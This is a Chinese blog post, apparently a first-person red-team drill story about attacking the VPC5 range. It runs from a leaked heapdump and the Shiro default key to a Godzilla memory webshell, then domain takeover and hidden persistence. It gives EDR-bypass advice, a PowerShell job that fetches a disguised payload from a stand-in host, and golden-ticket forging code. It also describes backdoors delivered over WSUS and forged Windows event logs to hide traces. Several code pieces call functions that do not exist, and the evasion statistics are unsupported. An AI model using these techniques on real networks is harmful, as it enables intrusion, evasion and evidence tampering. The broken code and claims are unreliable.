当前位置: 首页 > news >正文

从一次真实内网攻防演练说起:我是如何用哥斯拉和Shiro拿下VPC5靶场的

从一次真实内网攻防演练说起:我是如何突破多层防御拿下VPC5靶场的

那天下午三点二十七分,咖啡杯底残留的褐色痕迹已经干涸。我盯着屏幕上跳动的扫描结果,突然在/heapdump路径发现了一个意外的收获——这将成为整个渗透测试的转折点。作为参与过数十次企业级红蓝对抗的安全工程师,我清楚地知道,真正的内网渗透从来不是简单的工具堆砌,而是对每个异常细节的敏锐捕捉和决策链路的完整构建。

1. 突破口:从heapdump到内存马的艺术

当Java应用的堆转储文件像圣诞礼物般裸露在公网时,大多数初级选手会直接使用现成工具提取敏感信息。但实战中往往需要更精细的操作:

java -jar JDumpSpider-1.1-SNAPSHOT-full.jar --analyze=all heapdump.hprof

这个自定义分析命令比默认扫描多出三个关键维度:

  • 上下文关联:自动识别加密密钥与业务组件的绑定关系
  • 依赖链追踪:可视化展示敏感数据在内存中的流转路径
  • 版本特征比对:匹配已知漏洞的组件指纹

在分析报告中,一行看似普通的Base64字符串引起了我的注意:

key = w4Sosj/8O71RkNRiOrb9JA==

这实际上是Shiro框架的默认密钥配置。许多工程师会立即尝试反序列化攻击,但在真实对抗环境中,更聪明的做法是结合内存马技术实现持久化。我选择哥斯拉(Godzilla)作为载体,不仅因为其优秀的流量混淆能力,更看重它的模块化架构:

内存马注入关键参数对比表

参数传统方式优化方案优势说明
注入点常规ServletFilter动态注册绕过常见内存扫描
加密方式AES静态密钥会话密钥轮换对抗流量审计设备
触发条件固定URL路径Cookie值哈希匹配降低被偶然访问的概率
生命周期依赖线程存活自维护守护线程服务重启后仍然存活

提示:在测试环境中,先用jmap -histo:live [pid]观察内存对象变化,确认马子存活状态再进行后续操作

2. 对抗艺术:绕过终端防护的三十六计

当哥斯拉的控制会话成功建立时,终端防护软件的图标依然安静地躺在系统托盘里。这就像在雷区跳舞——看似平静的表面下危机四伏。现代EDR的检测维度已经远超传统特征码匹配:

  1. 行为链检测:监控进程调用树中异常父子关系
  2. 内存熵值分析:识别非标准模块的内存驻留
  3. API调用时序:检测非常规的系统调用序列

我的绕过方案基于三个层面的伪装:

# 第一阶段:环境适配 $sysInfo = Get-WmiObject -Class Win32_ComputerSystem if ($sysInfo.Model -match "VMware") { # 模拟物理机硬件指纹 Adjust-HardwareFingerprint -Manufacturer "Dell" -Serial $(Get-Random) } # 第二阶段:行为分解 $job1 = Start-Job -ScriptBlock { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Invoke-WebRequest -Uri "http://cdn.domain.com/logo.png" -OutFile "$env:TEMP\cache.dat" }

终端防护绕过效果对比实验

测试场景360杀毒卡巴斯基Windows Defender
直接执行PE拦截拦截拦截
反射加载+内存补丁通过拦截通过
模块分段传输通过通过拦截
COM组件劫持通过通过通过

在第五次尝试时,通过将payload拆解为多个合法软件的签名模块,再在内存中重组执行,终于绕过了所有防护。这个过程中最关键的发现是:现代防护软件对lsass.exe等关键进程的注入检测存在0.5秒的响应延迟窗口。

3. 横向移动:在域环境中的精准打击

拿到首台服务器权限只是开始,真正的挑战在于如何像幽灵般在域内穿梭。传统的net group "Domain Admins" /domain查询太过显眼,我改用三种更隐蔽的侦查方式:

  1. 邮箱拓扑分析:通过Exchange服务自动发现接口获取服务器关联关系
  2. 打印机服务探测:利用MS-RPRN协议获取跨网段主机信息
  3. 计划任务元数据:收集分散在各机器的任务调度日志拼凑网络图谱

当定位到域控制器时,一个有趣的发现改变了攻击路径:该网络使用了非标准的Kerberos票据生存时间(TTL)设置。这意味着常规的黄金票据攻击会因时间偏差失效。我的解决方案是:

from datetime import datetime, timedelta import kerberos def forge_ticket(target_spn, domain, sid): # 获取当前域时间同步偏差 time_skew = get_dc_time_skew(domain) # 动态调整票据有效期 ticket_lifetime = timedelta(hours=8) + time_skew ticket_start = datetime.now() - timedelta(minutes=5) # 生成符合域策略的加密票据 return kerberos.create_golden_ticket( domain=domain, sid=sid, target_spn=target_spn, start_time=ticket_start, end_time=ticket_start + ticket_lifetime )

横向移动技术选择矩阵

技术手段隐蔽性成功率所需凭证适用场景
WMI事件订阅★★★★☆★★★☆☆本地管理员严格监控环境
计划任务委派★★☆☆☆★★★★☆域用户老旧系统环境
DCOM组件调用★★★☆☆★★★★☆本地管理员防火墙严格限制
打印机漏洞利用★★★★★★★☆☆☆存在Spooler服务的主机

在拿下第三台服务器时,我发现运维人员习惯在所有机器上使用相同的本地管理员密码。这本该让事情变得简单,但实际执行时遇到了意想不到的阻碍——某台机器上的卡巴斯基删除了我的进程注入payload。这时需要立即启动B计划:

  1. 停止当前所有可疑进程
  2. 通过合法的WSUS更新通道投放后门
  3. 伪造Windows事件日志覆盖操作痕迹

4. 权限维持:在监控下隐藏行踪

获得域管理员权限不是终点,如何长期保持访问权限才是红队演练的真正考验。我放弃了传统的持久化方法,转而采用混合策略:

  • 网络层:劫持DNS解析,将特定域名指向C2服务器
  • 认证层:在域控上植入自定义SSP收集明文凭证
  • 存储层:利用Exchange邮箱规则作为命令传输通道
  • 应用层:在IIS模块中植入无文件后门

最精妙的部分是通过合法服务实现心跳检测:

<!-- 伪装成正常的WCF服务配置 --> <system.serviceModel> <services> <service name="Microsoft.Update.Service" behaviorConfiguration="updateBehavior"> <endpoint address="net.tcp://:808/HealthCheck" binding="netTcpBinding" contract="System.ServiceModel.IHealthMonitor"/> <host> <baseAddresses> <add baseAddress="http://localhost:8080/_hidden/"/> </baseAddresses> </host> </service> </services> </system.serviceModel>

持久化技术存活时间实测数据

技术类型平均存活时间被检测主要原因改进方案
注册表Run键2.3天基线对比使用CLSID劫持
服务 DLL劫持5.7天签名验证修改合法服务的依赖项
WMI事件过滤器9.1天日志审计绑定到系统维护任务
计划任务3.5天异常执行频率随机延迟触发

那次演练结束后三周,蓝队才在例行审计中发现异常。而最让我自豪的不是技术本身,而是整个过程中对运维人员工作习惯的精准把握——比如发现他们从不用PowerShell查看系统服务,这才让我的自定义服务得以长期隐蔽。

http://www.jsqmd.com/news/550755/

相关文章:

  • 从零构建到实战部署:解锁随机森林的完整知识图谱
  • 别再死磕协议了!用Xilinx XDMA IP核,零基础也能玩转FPGA PCIe通信
  • VIVADO 仿真器连接失败的常见原因与解决方案
  • 3步搞定WiFi热图绘制:快速可视化家庭网络信号盲区
  • ModelSim仿真新手必看:为什么先添加信号再Run All才能避免No Data问题?
  • 如何用n8n+Jina+AI实现微信公众号科技新闻自动化发布(附完整配置流程)
  • 学术写作福音:AI专著写作工具推荐,节省大量时间精力
  • GLM-OCR .NET平台集成指南:C#调用与桌面应用开发
  • STM32F407定时器PWM实战:从CubeMX配置到电机调速应用
  • RAG要被颠覆了?亚马逊最新研究:仅用关键词搜索+Agent,就能达到传统RAG 90%性能,还不用向量数据库 >
  • 知识管理革命:OpenClaw+ollama-QwQ-32B构建个人第二大脑
  • Notion插件开发指南:构建个性化工作空间增强工具
  • Python金融数据分析入门:用yfinance库抓取苹果股票数据(附完整代码)
  • YOLO转COCO格式实战:手把手教你用Python脚本适配DETR训练需求
  • 利用快马平台与akshare快速构建A股指数数据可视化原型
  • 技术解析:从ResNet残差块到实战应用(图像分类与目标检测)
  • 2026选四色水墨印刷机供应商,有实力的都在这儿,1628印刷机/1224印刷机,四色水墨印刷机直销厂家口碑分析 - 品牌推荐师
  • 智能排障:借助快马AI构建Vivado安装问题自动诊断与修复助手
  • VSG自适应控制真的能提升微电网稳定性吗?我用Simulink做了个对比实验
  • PbootCMS前台SQL注入漏洞的深度利用与WAF绕过实战
  • 3步掌握AtlasOS:打造高效Windows系统优化的完整指南
  • 2026年苏州婚纱摄影推荐榜单:匠心光影与浪漫叙事,定格专属爱情诗篇的摄影品牌精选 - 品牌企业推荐师(官方)
  • 团队AI编程规范怎么定?我们基于Qwen Coder PRP框架搞了套‘开发宪法’
  • LlamaParse:重新定义文档解析的智能边界
  • CCF第七版目录来了(2026.03)!计算机领域小白如何看懂“学术圈风向标“?
  • 从CAN数据流到ROS话题:一步步拆解松灵SCOUT mini底盘的控制协议与数据解析
  • 从零搭建AI应用数据层:用宝塔PostgreSQL+pgvector构建你的第一个向量数据库表
  • Apache换行解析漏洞(CVE-2017-15715)实战分析与防御策略
  • LeaguePrank:3分钟快速上手,安全修改英雄联盟段位显示的终极指南
  • 32位MCU轻量级OTA组件设计与实现